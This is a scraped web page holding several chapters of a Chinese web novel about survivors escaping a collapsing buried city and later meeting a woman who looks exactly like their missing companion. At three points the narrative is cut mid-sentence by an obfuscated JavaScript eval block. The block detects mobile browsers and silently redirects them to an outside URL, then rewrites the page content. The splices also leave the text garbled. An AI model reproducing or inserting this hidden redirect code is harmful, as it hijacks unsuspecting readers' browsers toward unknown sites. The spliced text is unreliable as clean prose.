;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529150|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们不是活人,每次发箭都有规律可循。”姜泠出奇冷静,心里暗暗数着每一阵箭雨落下中间停顿的间隔,“放心,我有数。何况论身手,我也足以自保。” “你…”卫斯诚抽巴着一张脸,还想阻挠,却被凌岓拦住了。 “你看他们头上戴的盔甲,实际上他们未必真能看到人在哪里。如果真是听声辨位,那反而好办。” 话音刚落,凌岓手里捏着的石头就飞了出去。石子在飞行途中畅通无阻,落地之后却被一支当空划过的羽箭射了个对穿。 “我说三位祖宗,别上赶着找死了。”看见石子的下场,洪钟不得不加入劝阻大军。 “别慌,我想到办法了。” 没有信号的手机被拴在姜泠的长鞭上,凌岓躲在一块钢板后面,四处挥舞着鞭子,手机不停和其他物品碰撞出声响,羽箭也跟着不断往上面发射——凌岓这招的确有点效果,至少确实吸引了银甲军的一部分注意力,除了有点费手机。 姜泠本就找到了射箭的规律,再加上另一侧的掩护,她很快就拖回来几个闪避不及的路人。待到箭桶中的羽箭一根不剩,已经有近二十人在姜泠的帮助下逃过一劫。 银甲军骑着马走了,谁都不确定他们是完成了任务原路返回,还是仅仅想要回去补充箭桶中的武器。 “我说各位,别猫着了,趁现在,快跑吧!”人群里传来另一口天津腔,听得洪钟只差没当场喊一句“老乡”。 通往定城山唯一的途径是穿过哭木宫。可当浩浩荡荡的人群来到宫殿不远处时,宫墙前的大河翻涌,哭木宫里所有的傀儡都操着武器集结在那片草地上。 “得,又要打架了。”卫斯诚抽出匕首,“这次还必须速战速决,不然等塌到这里,大家都得完蛋。” 幸运的是,这次不是孤军奋战,即便和傀儡们对阵也不落下风。不幸的是,卫斯诚一点没说错——古城正中的望月楼已经深埋地下了,塌陷很快就会到达哭木宫。 在生死关头,人总能爆发出无限潜力,而已经丧失人格的傀儡们最终也没留下多少人。塌陷袭来时,多数人已经爬上了半山腰。 第一次见证一座城的塌陷,人们无法将目光从这种宏大壮观的场景中挪开。百年前的灾难是天外劫数,一瞬间便能将整座城池深埋地底。百年之后却截然不同,平地之上的古老城池像被掰碎的饼干,一块一块往下沉、又一部分一部分向地心坠落。 眼见塌陷后的土地如海浪般起伏,又见平地断裂成悬崖、楼宇塌陷成矮矮的一只尖角,山上诸人无不为自己的命运担忧。 镇山石崩碎一地,计枵的身体早已经冰凉,他怀里还抱着那只盒子。 “出口在哪儿?”有人问道。 “别急,在找。”手电光已经上上下下照了一遍,别说出口,连个拳头大的洞都不曾见到。 “老洪,有没有什么头绪?”卫斯诚病急乱投医,戳了戳洪钟。 “我在想,我正在想,别急…”洪钟这边正在闷头和姜泠一同研究镇山石周围的细节,两个人嘴里还念叨着“月相”、“机关”、“动力”等字眼。 塌陷的浪涌逼近,哭木宫一座一座往下掉,光听声音就足以让人心惊胆战。在此紧要关头,研究出口的两个人终于达成了一致;镇山石拔地而起,众人头顶上方破开一个大洞,光柱如丝缎般倾泻而下,其中隐约可见一条似有若无的天梯。 山脚已经有了起伏,幸存者从上到下抱紧天梯,生怕一松手会随着古城的最后一方土石坠进地底。 祸不单行,偏偏就在这时候,计枵的红扳指也发出一道光亮——先是周盼,接着是成俐——成群结队的傀儡和银甲军复生,径直扑向最后的几人。 长鞭从几人腰上卷过,一眨眼的功夫,剩下的几个人也被甩上了天梯。 “姜泠!” “姐姐!” 梯子上,凌岓、卫斯诚、洪钟和沈径霜出奇一致地冲地面上的人喊。 骨医的战斗力足够强,能以一己之力抵挡住疯狂进攻的活尸傀儡们。听到同伴的叫声,姜泠连头都没回,只留下四个字——“快回家吧!” 天梯渐渐向上缩短,打碎了凌岓想要回去和她并肩作战的希望。 62. 第六十二章 悬梯往上,天光大亮。胳膊上的伤口处一点疤痕都没有;来时的阴幛和立柱仿佛一场荒唐的梦,全都消失不见了。如果不是周围的人都一脸死里逃生的表情,凌岓几乎就要怀疑自己只是做了一场离奇怪诞的梦。 在地上缓了好一阵,惊恐和紧张逐渐消散,清醒的意识慢慢回笼。想起离开前还在保护别人,自己留下和傀儡同归于尽的姑娘,凌岓只觉得头脑发蒙。 “我姐呢?”第二个回过神的是卫斯诚,幸存者中的每一个身影他都查探了一遍,没有他要找的人。 “唉。”马成林下意识去拿腰间的旱烟,伸手一摸,什么也没有。他猛猛搓了两下脸,也不知该如何劝解身边人,只能长叹一口气,轻轻说,“节哀。” “节你爹的哀!”卫斯诚一把揪住劝他节哀之人的领子,瞪着眼睛吼道,“你亲眼看见我姐死了?不然你他妈在这儿放什么屁呢?” “人要学会面对现实。”被揪住领子的马成林并不恼火,可他说的话却让揪着他的人火冒三丈高,偏偏他还视若目睹,非要把话说完—— “你不是没看见最后的场面。不单是你,在场各位都看见了。退一万步说,就算你姐姐能打得过丧尸围攻,那能逃得过天灾吗?你看看周围哪儿还有出口?如果她还活着,那你告诉我她人在哪儿呢?” “说不定呢?没亲眼见到她,你凭什么下这种结论?”卫斯诚还差一步就要一拳砸到对方鼻梁骨上了,可凌岓在中间挡着,他也动不了手。 “年轻人,一般情况下,活不见人死不见尸就等于死了。人各有命,你不接受现实也没用!她命该如此,命里注定有这一劫逃也逃不……” “行了闭嘴吧!”凌岓本来还打算夹在两人中间劝一劝的,结果听完马成林的言论,他立马把阻拦卫斯诚的手抽回来,心里烦躁至极,嘴上也说不出太好听的话。 “要不是为了让我们走,人家会留在那儿吗?论身手,就算姜泠撇下所有人不管第一个要逃命,也没人拦得住她!现在倒好,受了她的好处捡回一条命,你跟我这儿大谈什么‘命中注定’,也是够荒谬的!” “我觉得他说的对。”洪钟拉了拉自己师叔,小声说,“您这话说得是有点太不讲人情了。不管再怎么说,小姜姑娘也是为了让我们先走才…您现在这么说,多少有点儿忘恩负义那意思了。” 一直没说话的沈径霜抹了抹眼角,走上前掰开卫斯诚的手,“我们走吧。跟他们说这么多有什么用?人要是没良心,就算说破大天良心也不会长出来。” 卫斯诚最终也没真的把马成林怎么样,他冷冰冰地看着眼前的幸存者,面露讥讽: “不是人各有命,而是人心不古。你说得对,要怪就怪我师父,非要让我姐找什么真心,非要教什么善良和责任…人心都败坏成这样了,有什么可稀罕的!责任,责个屁任!普天下的人都一个鸟样——求人办事的时候老老实实恭恭敬敬,办完事以后一句好话都落不下!非但如此,既得利益者还要劝你认命,真是搞笑!” 说完,卫斯诚起身离开。凌岓和沈径霜追出去,却只得到一句“后会无期”。 洪钟心里难过,但愧疚也不少。他欲言又止地看着自己师叔,第一次这么生气。 “怎么?你也想教育我?”被人当众指责完,马成林脸上本来就有点挂不住,再加上他自认一个字都没说错,一转头看见洪钟的眼神立马就恼了,“你最好掂量掂量,论资排辈还轮不到你教育我!” “对!你说嘛都对!别人说再多都是没资格!”洪钟小声嘟哝,“年纪越大,越爱倚老卖老。也不知道到底谁最爱说教!” 一场秋雨一场寒,连着一个月刮台风下暴雨,禾城的天几乎没怎么晴过,闷热的气温也骤然下降十几度。 一个月的时间,凌岓一面四处托人打听姜泠的下落,一面想要联系到卫斯诚——电话停机;卫家的管家说卫斯诚已经很久没回过家了;医馆也前前后后去了五六趟,可每一次他都会吃上一份闭门羹。 最后一场台风在中秋前入境,风雨过后难得天晴,街上的树和护栏却东倒西歪被刮断一大片。 凌岓一大早就连着接了两个电话,分别来自洪钟和沈径霜。电话内容也很简单,都是提前告知中秋要来禾城小聚。 中秋节前一天上午,洪钟先到。一下高铁,他马不停蹄赶往姜泠的小院,结果一样扑了个空。等到和沈径霜碰了面,三人决定中秋当天再去一次。 为了迎中秋,禾城的大街小巷早早就做好了布置。街上挤得人山人海,小院门口却空空荡荡。拎着大包小包的三个人在门口敲了快半个小时的门,还是无人应答。 “要不咱报警吧。”洪钟愁眉苦脸地看着手上的礼物。 “以什么名义报警?”凌岓叹了口气,“他想要避开我们,报警也没用。何况又不是真的失踪,至少伯母那儿还能联系到人。” “那就联系伯母!”闻言,沈径霜眼前一亮。 “没用。”凌岓摇头,“他会定期用不同的号码给伯母打电话,但是伯母也不知道他人在哪儿。” “这是干嘛。”洪钟无精打采地回到车上,“我师叔说话是难听,我已经严肃批评过他了。这下好了,想道歉都找不着人。” “他也真是,孩子脾气嘛!”院门两侧的对联还是新新的样子,沈径霜期望有人会从里面走出来,“马师傅说错话那是马师傅一个人的问题。干嘛非要连坐,还和所有人都断联。” “说的就是嘛!”洪钟附和道,“也不知道小姜现在到底在哪儿啊。要是她在就好了。” 凌岓不再插话。在这一个月里,他表现得越平静,某种扎根心底的感情就越浓烈。他不敢去那条和姜泠一起走过的路上散步,每次来到医馆门口都是期待又不安的。他希望开门的是她,哪怕能见到和她有交集的人也可以。 借着“我有一个朋友”的名义向老妈询问,何女士当即表示此种症状名为“相思病”。心虚的人不敢跟着其他人一起说想念,因为害怕一开口就会露馅儿。 就在三人快放弃等待的时候,一个熟悉的休闲装出现在门口。凌岓眼尖,一眼就认出来那是上次给姜泠告知精神病院信息的人。他记得这人好像叫大刚。 “大刚?”在休闲装进门的瞬间,凌岓按下车窗喊道。 大刚左顾右盼找了一圈,最后来到车窗前,震惊道,“你不是那个…那个叫…凌什么的是吧?” “凌岓。” “对对对!就是这个名字!”大刚不好意思地挠了挠头,“我这人记性不好,有时候老记不住人家的名字。对了,你怎么在这儿啊?” “来找斯诚,他在吗?” “不在。”大刚摇了摇头,“诚哥好久没回来过了。” 就在车内三人垂头丧气之际,大刚又说,“不过今天中秋,按照往年的惯例,诚哥肯定是要在这儿过的。我这不是来送点儿水果点心嘛。” “那他一般嘛时候来呀?”洪钟问。 “往年早早就到了。有事的话,一般下午就会回来的,要不你们先回去吃个午饭再来。” 凌岓谢过大刚,没采纳他的提议,“不了,我们就在这儿等着吧。” “那也行。”大刚一手提着瓜果,一手提着月饼礼盒,走到一半又折返回来,“还是进去等着吧,你们都是客人。回头泠姐要是知道了,该怪我没礼貌了。” “姜泠她回来了吗?”沈径霜探出头问。 “没有。”大刚继续摇头,“自从上次去阳市以后,泠姐就没回来过了。别在车上等着了,进来吧。” 院门打开,里面的陈设还是出发前的样子。茶杯、茶台、四方院子中的石桌、和卫斯诚起争执时的小凉亭……洪钟深感自己上了年纪——竟然也开始睹物思人了。 “你们先坐,我去给你们泡杯茶吧。”大刚把手里的东西归置好,拿着茶杯进屋去了。 尽管已经很久没人打理了,小院中还是干净整洁的。墙边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557948|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知名的小花开得正好;窗台上的君子兰一点也没打蔫;堂屋门口的门帘是用一颗颗折纸星星串成的——卫斯诚好像提起过:他小时候羡慕同龄人的父母陪他们折星星、讲故事,他的爸妈却连影子都见不到。念叨的多了,师姐就代替了父母的角色,陪他折满五千颗星星,然后串成纸帘挂在门口。刚挂上去的时候,殷漠还总爱笑眯眯地说他们俩幼稚。 “小姜就是刀子嘴豆腐心。”充满生活气息的地方总让人久坐一阵就会生出感慨,洪钟也不能免俗,“你们别看她平时老是冷着个脸,其实最心软了。” “是啊。”沈径霜不知怎么,突然想起在藏寨做饭的那个傍晚了,“能把一个苹果从头到尾削成一根长条的,我以前只在电视剧里见过。后来发现姜姜也可以,而且不仅是苹果,黄瓜她都能削成一条。” 秋风习习,越听身边人对姜泠的怀念,凌岓越觉得她还在。大刚端来三杯热茶,有一搭没一搭加入了寒暄。 “你们,还有上次医院的两个小伙子,都是雇来的?”出于职业敏感,说书人随时随地保持好奇。 “是也不是。”大刚歪着头想了想,对洪钟说,“我们其实都不知道自己父母是谁。殷师傅把我们带回来,教我们识字,供我们上学,帮我们找父母,也帮我们找愿意收养我们的家庭。” 这个答案着实出人意料,洪钟用词小心地问,“也就是说,这儿原来是个孤儿院?” “差不多吧,但也不全是。譬如我,我是属于小时候走丢了,一时半会儿没找到爸妈,殷师傅怕我在车站碰上拐子,就把我带过来了。后来隔了有半个多月吧,殷师傅报的警才和我爸妈联系上。我虽然和他们回去了,但我爸妈和殷师傅的交情一直在。” “其他像强子他们也差不多。要么是走失的,要么是被遗弃的,反正殷师傅最后都能帮我们找到家人。要说在这儿呆的最久的,就是泠姐和诚哥吧。泠姐应该比诚哥呆的时间更长。” “那你们怎么又回来工作了呢?不都找着家了嘛?” “一开始是诚哥叫我们帮忙找殷师傅的,殷师傅没找到,诚哥就接手了医馆。刚好那时候我们又都刚毕业,工作难找,就干脆跟着诚哥干了呗。” “那你们不怕危险?”想起暴毙的强子,洪钟不解。 “没啥危险,说实话上次真是个意外。哥姐又都不是黑心老板,早十晚五能随时请假不说,还不用加班,不参与调休。年底双薪,逢年过节还有红包和礼物。偶尔出差,差旅费全报,出差回来还有一周假可放,各种五险一金都是哥姐给交齐的,这样的工作,谁不愿意干?” “那确实是…难得一见的好老板。”沈径霜有点羡慕。 “当然啦!尤其大家伙平时处的跟兄弟姐妹一样,工作氛围绝对一等一的好。就说强子那事儿吧,后事都是哥姐给办的,他没成家,那么多抚恤赔偿就都给他爸妈了,连他弟弟妹妹后面上大学的钱也都一次到位了。就这,强子爸妈以前对他还不算好。” 大刚说到这儿,习惯性看了一眼手表,惊道,“哎呀!不能跟你们聊了,我得赶紧回去做饭,要不然我对象得吹了!哦对了,泠姐上次走之前说过,你们什么时候来都能随便参观,别把东西弄坏就行。” 说完,大刚像风一样跑出门外,留下三个人面面相觑。 “点个外卖先。”洪钟决定边填肚子边等人。 凌岓不饿,索性开始四处“参观”。 从厨房、客餐厅到卧室,虽说四合院的主人不差钱,但装修和家具都还是普通家庭常见的。 姜泠房间布置得尤其简单,和她本人不多话的性格差不多。她桌子上放着一本没合住的笔记,凌岓无意间看到纸上写着自己的名字,还没来得及细读,就听见外面传来洪钟的声音。 “哎哟,我的个天呐!您老终于回来了!一个多月了,不接电话不回家,你不会真打算跟我们恩断义绝吧!” 卫斯诚站在院门口,冷着一张脸不说话。 63. 第六十三章 外卖小哥提着洪钟的煲仔饭站在门口,院门没关,里面的气氛过于诡异,他火速敲了敲门冲里面喊一句“外卖到了”就赶紧离开。 “你们怎么在这儿?”卫斯诚抱着两只胳膊,说出口的第一句话不是打招呼,而是质问。 “来找你啊。”洪钟搓了搓手,酝酿着下一句该怎么说。 “那有事说事,说完快走。” “你脾气还挺大。”一见面先收到逐客令,向来温柔的沈径霜也忍不住了,“一个月了,电话不接,消息不回,天大的火气也该消了吧。姜姜的事,谁心里都不好受,你就非得用这种方式来证明你更难过?” “中秋节,你们不回家过节跑我这干嘛?给我上课?”卫斯诚把车钥匙放下,重新往茶壶里灌了点热水。 “霸道总裁看多了,说话都一股子冷脸洗内裤的感觉。” 真要逐客不会换茶水,洪钟评价得很精准,卫斯诚也就是刀子嘴豆腐心。 “小姜,还有消息吗?”回到正题,洪钟指了指地上的礼物,“我师叔就那么一人儿,你说他坏吧,他也没那意思。他上次说话说得不对,后来也知道后悔了,所以我专程来代他给你道个歉。” “不必。我没那么小心眼儿。” “那你这一个多月是跟谁闹脾气呢?” “谁有功夫跟你们闹脾气,我去找我姐了。” “怎么?小姜有消息了?在哪儿呢?人怎么样啊?怎么没和你一块儿回来呢?” “人没消息,古城有点消息。”卫斯诚的回答将洪钟对他的评价贯彻到底,“既然来了,一起吃个饭吧。今天中秋,边吃边说。” 中秋节于国人而言是很重要的节日,满月意味着团圆,也是一年行进了三分之二的象征。从街边到商场,大大小小的饭店一早就没位置了。好不容易找到一个地处偏僻、顾客少一点的,还是不免要排队。 等在门口闲聊的功夫,众人才知道卫斯诚并非有意想要躲着谁。从陷落的古城回来以后,他几乎用上了所有能用的人脉打听有关古城的消息。功夫不负有心人,虽然得到的信息不多,却总算有点能用的。 正说着,凌岓收到两条信息——是老郑发来的。一条祝他中秋快乐;另一条是张图片,日期就在前天,照片上窈窕的背影无比眼熟——不是他四处寻找下落的姜泠是谁? 凌岓刚想把照片拿给另外三人看,一抬眼,就见那个背影出现在眼前。 “姜泠?”他“蹭”地站起来,把排队的人吓了一跳。 “你怎么了?魔怔了?”洪钟把人拉住。 “姜泠!”凌岓没搭理身边人,又喊了一遍。 不远处黑发披肩的背影转过头,这下不止凌岓一人“魔怔”,其他三人也一样怔住了—— 柳叶眉,桃花眼,发间别着一支银白色的素簪。没人认错,眼前的人和失踪一个多月的姜泠一模一样。 “姐?”卫斯诚一个箭步冲上去,排队到号了也不管。 “姐你去哪儿了?你都不知道我这一个月怎么找过来的…” 眼前和师姐长得一模一样的姑娘悄无声息地往后退了几步,她一脸茫然,“不好意思,您认错人了吧。” “认错人?”卫斯诚差点表情管理失败,他指了指自己,又惊又气,“你不会是失忆了吧?我,卫斯诚,和你从小一起长大的师弟,是我呀!” “你谁啊?” 刚才没注意,几人现在才发现姜泠身边还站着一个年轻女孩。和身边的人有鲜明的反差,这个女孩个子高挑,有一头大波浪卷发,穿着一条挂脖吊带裙,裙子的颜色和她嘴唇上的正红色唇釉一模一样。 “你谁呀?”卫斯诚不甘示弱,反问回去,“你把我姐怎么样了?” “你姐?”红裙女孩仿佛听到了天大的笑话,“现在是大街上随便拉个什么人都能乱攀亲戚吗?说是你姐,你问问人家认不认你?” “算了青罗,多一事不如少一事,他们大概是认错人了。” “听见了吗大哥,认错人了!”被称为青罗的红裙姑娘大声说。 卫斯诚不信邪,一步上前挡住了两个姑娘的去路。凌岓和洪钟想劝他冷静,可他置若罔闻。 “姐,你是不是有什么苦衷?” “我不是你姐姐,你真的认错人了。” “世界上没有两片一模一样的树叶,难道有两个一模一样的人吗?你说话声音都和我姐一样,你怎么可能不是我姐?” “可我真的不是你姐姐。”女孩努力解释,“我都没见过你,又怎么可能和你有什么关系?” “不好意思,或许真的是我们认错了。”凌岓打圆场,“我们的朋友跟您长得一模一样,她已经失踪一个月了。我们刚看见您,还以为是她。” “有人失踪就报警,不要碰瓷别人。”波浪卷明显不好惹,她挡在几个人中间,“如果你们再纠缠,我就要报警了!谁知道你们是真有朋友失踪,还是团伙作案的人贩子!” “你才人贩子!” “抱歉抱歉,给你们添麻烦了。”凌岓拉住卫斯诚,又说,“能冒昧地问一下您的姓名吗?” “岳青罗!” “谁问你了?”卫斯诚怼回去。 “我叫江云,长江的江,白云的云。”和姜泠拥有同一张面孔的姑娘把自己的朋友往后扽了扽,生怕两人再起冲突,“不会也跟你们的朋友同名同姓吧。” “音同字不同,她是生姜的姜。”凌岓苦笑了一下,“今天实在是抱歉,打扰了!” “没事,希望你们能赶紧找到那位朋友…” “跟他们费那么多话干嘛,走了走了!”岳青罗拽着江云转身就走,半点好脸色都没留下。 过号三桌要重新排队,加上又闹了这么一出,几个人吃饭的兴致全无,一个个垂头丧气回到了医馆。 一进门,卫斯诚谁也不理,把自己关进书房里翻书。凡是殷漠留下有关骨医的书籍记载,他都要认真翻看一遍。 “这个世界上真的会有人长得一模一样吗?那个江云,名字像,长得一样,声音都一样,怎么看怎么不对。”沈径霜前后敲了三次门都被拒之门外,只好回到堂屋和另外两个同伴商量。 “原因呢?”洪钟提问,“如果真是小姜,她不认我们的原因是嘛?我们有人得罪她了?还有她身边那个伶牙俐齿的小姑娘,你们以前谁见过?谁又听她提起过?小卫都不认识,保不齐真是咱认错了。” 凌岓不说话,他觉得谁都没说错,只是这中间肯定有一环被忽略了。想起闹剧发生以前老郑发来的照片,他赶忙拿出手机,屏幕亮起,和老郑的对话框中果然出现了几条未读消息。 “这是我前两天在高铁上偶然碰见的,你看看是不是姜姑娘?” 原有的照片下面又跟了几张正面照,单从长相上看,是姜泠无疑。凌岓在屏幕上飞速回复,对面的消息很快就回过来了。 “她在金宁站上的车,在禾城下车,应该离你不远。” 凌岓思前想后半天,决定拜托老郑帮忙查一查。 正在屋里的人毫无头绪时,又有人敲响了小院的门。凌岓以为是谁点了外卖,结果打开门一看,来人是自己的母亲何槿颐女士。 “我说你怎么回来了也不着家,原来是有秘密根据地啊。” “老妈,你怎么来了…”凌岓自知理亏,不敢多说什么。 “我来看看你被什么勾走了魂。”何槿颐不咸不淡地回答。 研究了半个下午,卫斯诚总算在殷漠留下的日记里找到了头绪。他抱着日记本冲出门,跟何槿颐撞了个满怀。 一码归一码,只看凌岓的表情,卫斯诚就猜到眼前的中年女人是谁了,他先道了个歉,然后很有礼貌地介绍自己,“阿姨好,我叫卫斯诚,凌哥的朋友。” “你好。”何女士握住年轻人的手,一看见他怀里的老日记本,笑得更慈爱了,“一看就是个好孩子。都过节了还不忘看书学习,哪像我们家这个,成天就知道到处乱跑。” 被人不合实际地一夸,卫斯诚有点不好意思,他把何槿颐请进堂屋,赶紧去泡茶。 洪钟本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578363|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来还在悠哉悠哉嗑瓜子,一看见来人,一屁股就站起身来,“您好,请问您是?” “这我妈。”凌岓在中间介绍,“这位是洪钟,比我们大一点,是很有才的说书人。这是沈径霜,援藏医生。” “你们好。”何女士笑意盈盈地和他们挨个握手,“说书人,好有意思的职业,一听就是肚子里有墨水的好孩子。还有援藏医生,更是了不起,为祖国和人民做贡献,最值得敬佩了。” 卫斯诚把茶杯放到长辈面前,在一旁默不作声地听着。 “阿姨今天来也没事先跟你们说一声,是阿姨冒犯了。这次没给你们几个好孩子带礼物,就一人一个中秋红包吧。” 说着,何女士从包里拿出厚厚的印花红包,不多不少刚好四个,这让凌岓不得不怀疑老妈话里的真实性。 “不不不,您太客气了!我们都这么大了,哪能要您的红包。”卫斯诚最先推辞。 “你们是凌岓的朋友,在我眼里就也是孩子,有什么不能收的?我还专门给你们定了饭,晚上会送上门的,你们几个年轻人可以好好聚一聚。” “谢谢妈。”凌岓伸手接红包,却被一巴掌打开了。 “这不是你的,是给另一个女孩子的。据我所知,和你去西藏的不是沈姑娘吧。” “不是。”气氛凝固,凌岓老老实实回答,“但是现在她失踪了,我们也在找她的下落。” “失踪了?报警了吗?” 见四个人都是一副颇有难言之隐的表情,何槿颐马上就懂了。 “是不是遇到什么难题了?要不然跟我说说,看看有没有我能帮上忙的。” 沉默片刻,凌岓还是掐头去尾地把古城里发生的事情说了一遍。 何槿颐听完,轻轻点了点头,问卫斯诚,“小卫手里拿的也是关于那个城市的研究吗?” “对。” “别研究了,我告诉你们那是什么地方。”何女士抿了一口热茶,开始给几个人“上课”。 东南平原靠近长江入海口,江水奔腾千万年,大量沉积在此的泥沙为先民在此生活提供了土地。五胡乱华以后,这里形成了短暂的割据局面,将当今的禾城分为数个势力范围。 其中有一位,以匡扶正统之名举事,将其攻占的几座小城池合二为一,并自封焕王。焕王天性暴虐,奸淫掳掠、烧杀抢夺无恶不作,最荒唐的莫过于以百姓的骨头为基,修建了一座奢靡至极的行宫。一时间,人心惶惶,民不聊生。 再后来,焕王沉迷于永生。不知他从谁人嘴里听说,以命续命是最能长生的方法,为达目的,他又一次酝酿出一场惨绝人寰的屠戮。屠戮的结果是数以万计的白骨垒成了一座高塔——就是赤羽蜂盘踞其中的骨塔。 然而骨塔非但没有给焕王带来永生,反而招致了报应。先是连绵不断的大雨逼走了许多百姓,在城中平民迁徙大半后,从天而降的石群将焕王和他的宫殿一同掩埋在地下。 石群之上,泥沙仍旧在汇集。没过多久,新的居民迁徙此处,古城池也就为人所淡忘了。 “据说整个城市之所以能被完整保留,是因为里面有一块磁场怪异的石头顶着。我忘了在哪看到过记载,说以前有迷路的人误打误撞进入古城,但因为磁场的原因,路是随时在变的,出口也不止一个,所以进去的人大多有去无回。” 何槿颐说完,还不忘补充,“不过这都是野史,传说的事情谁都没见过,你们听一听就好。” 话虽如此,可那句“出口也不止一个”已经燃起了听众的希望。凌岓忙忙“谢”走了母亲,转头就开始和同伴商量分工协作、撒网打听消息的事。 满月升起,恰如一颗咸蛋黄馅的月饼。浓油赤酱的红烧肉、红亮鲜香的东坡肘子;银鱼炒蛋上点缀着嫩嫩的小葱,清蒸白鱼上淋了秘制酱汁;六只肥美的大闸蟹静静地摆在盘子里,盘子旁边还有一锅飘香四溢的土鸡汤。 美食能让人短暂地忘却烦恼,江云也不例外。岳青罗坐在她身边,打开一只流油溢黄的蟹壳递过去,“中秋节快乐,姜泠。” 64. 第六十四章 中秋过后,人们陆陆续续复工,各种消息也纷至沓来。所谓“有缘千里来相会,无缘对面不相逢[1]”——中秋过后没几天,在去金宁市探望战友的路上,凌岓又碰见了江云。这次她没和那位性格直爽又口齿伶俐的岳青罗在一起,两人又刚好挨在一起坐。 比起姜泠,眼前的江云更像生活中常见的普通人,给凌岓让道的时候也是她先开口认出眼前人: “咦,你是不是上次认错人的那位?” “是你啊。”凌岓也没想到会在这里碰到,“你还记得我?” “中秋才过去几天,我又不是鱼,没那么健忘。”江云很爱笑,笑起来的时候显得她很开朗,“你朋友有消息了吗?还有那个脾气不太好的小弟弟,这次没跟你一起来?” “没有,我来看战友…” 有了第一个话题打头,两人就一来二去闲聊起来。前两日认错人的尴尬荡然无存,反倒是阴差阳错因为这次旅途对彼此有了更多了解。 “你朋友也很厉害,看起来像是每次吵架都能赢的人。” “你说青罗吗?”江云噗嗤一声笑了出来,“其实她人很好的,她应该是我见过的最热情的姑娘。” “情人眼里出西施,你和她关系好,肯定怎么看都觉得她好。” “那是你不了解。”江云反驳道,“愿意照顾朋友到出院的人有几个?又出钱又出力,还积极陪你找大夫恢复记忆的人又有几个?” 凌岓脸色一僵,小心翼翼地问,“照顾朋友到出院?恢复记忆?谁生病了?” 被这么一问,江云也愣了一下,旋即讲起自己前一阵的遭遇。据她所说,前不久她被一个违章掉头的私家车撞了,后脑勺着地,不得已住了一段时间的院。 好消息是除了脑袋,其他地方都没受很重的伤,顶多就是擦破点皮。坏消息是,脑袋受到的撞击太重,她一睁眼,发现自己丢失了一部分记忆,连姓甚名谁都不能快速回答。 在住院期间,岳青罗一直照顾她,跟她讲了许多有关自己之前的事情。也是在她的帮助下,江云慢慢想起了很多事。 “卫斯诚居然没猜错,真有那么狗血。”凌岓心想。 “反正大多数都想起来了,现在对正常生活也没什么影响。缺失的那部分我估计不太重要,也无所谓什么时候能记起来。”江云不仅这么说,心里也的确这么想。 “说的也是。不过,也不能说得太绝对,万一缺失的部分也有很重要的呢?”凌岓回答她。 “不可能。”江云坚定自己的想法,“这么说吧,我这个失忆不是偶像剧女主那种忘干净了的长期失忆,医生都说了只是短暂的一段时间。我现在已经把从小到大的事情都想起来了,远到我第一次进年级前三是什么时候,近到撞我的司机穿了什么衣服我也记得。我说的缺失只是一些无关紧要的小细节,所以不重要。” “…那你的记忆比我还好,我没失忆过也想不起来成绩最好是在什么时候。”凌岓附和着。 不知不觉间,金宁站已经到了,两人在出站口告了别,各自前往目的地。 凌岓探望的人叫彭越,和他是一个连队一个班的战友。两人上下铺,在几年前的抗洪救灾、抢险救援中,还一起扛过麻袋救过人。前两年转业,彭越回家开起了古董店,主营玉石买卖,兼修古董鉴定和修复。 古董店临河,刚好处在最繁华的地段,周围除了商场,还有许多街边小店供应各色吃食。正是中午吃饭的时间,写字楼里的白领、地铁施工路段的工人、专挑工作日旅游的游客,还有组团改善伙食的老年人纷纷涌进这条街,寻找既能填饱肚子,也能满足味蕾的饭店。 彭越的店面紧挨着一家云南米线,量大管饱,好吃实惠。据说店主是个正儿八经的云南人,小锅米线、过桥米线、秘制酸汤米线,各种品类他都能做出最正宗的味道。除此以外,他还经常从家里带回来自制的菌子干、菌子酱。这足以让彭越定时定点在此扎根,风雨无阻来这家店吃饭。 正巧赶上饭点,远远看见老战友,彭越想都不想就把来人拉近了米线店。 “尝尝这家的小锅米线,简直是我的梦中情米线!” 凌岓还没来得及叙旧,就已经被对方做主吃什么了。他了解战友的急性子,也就随他做主。 彭越有个原则,天大的事也大不过吃饭,是以他吃饭的时候从不聊正事,只会偶尔听点八卦作为下饭小剧场。好久不见的战友过来,他连八卦都不想听,一门心思只顾推荐自己心里的白月光——小锅米线。 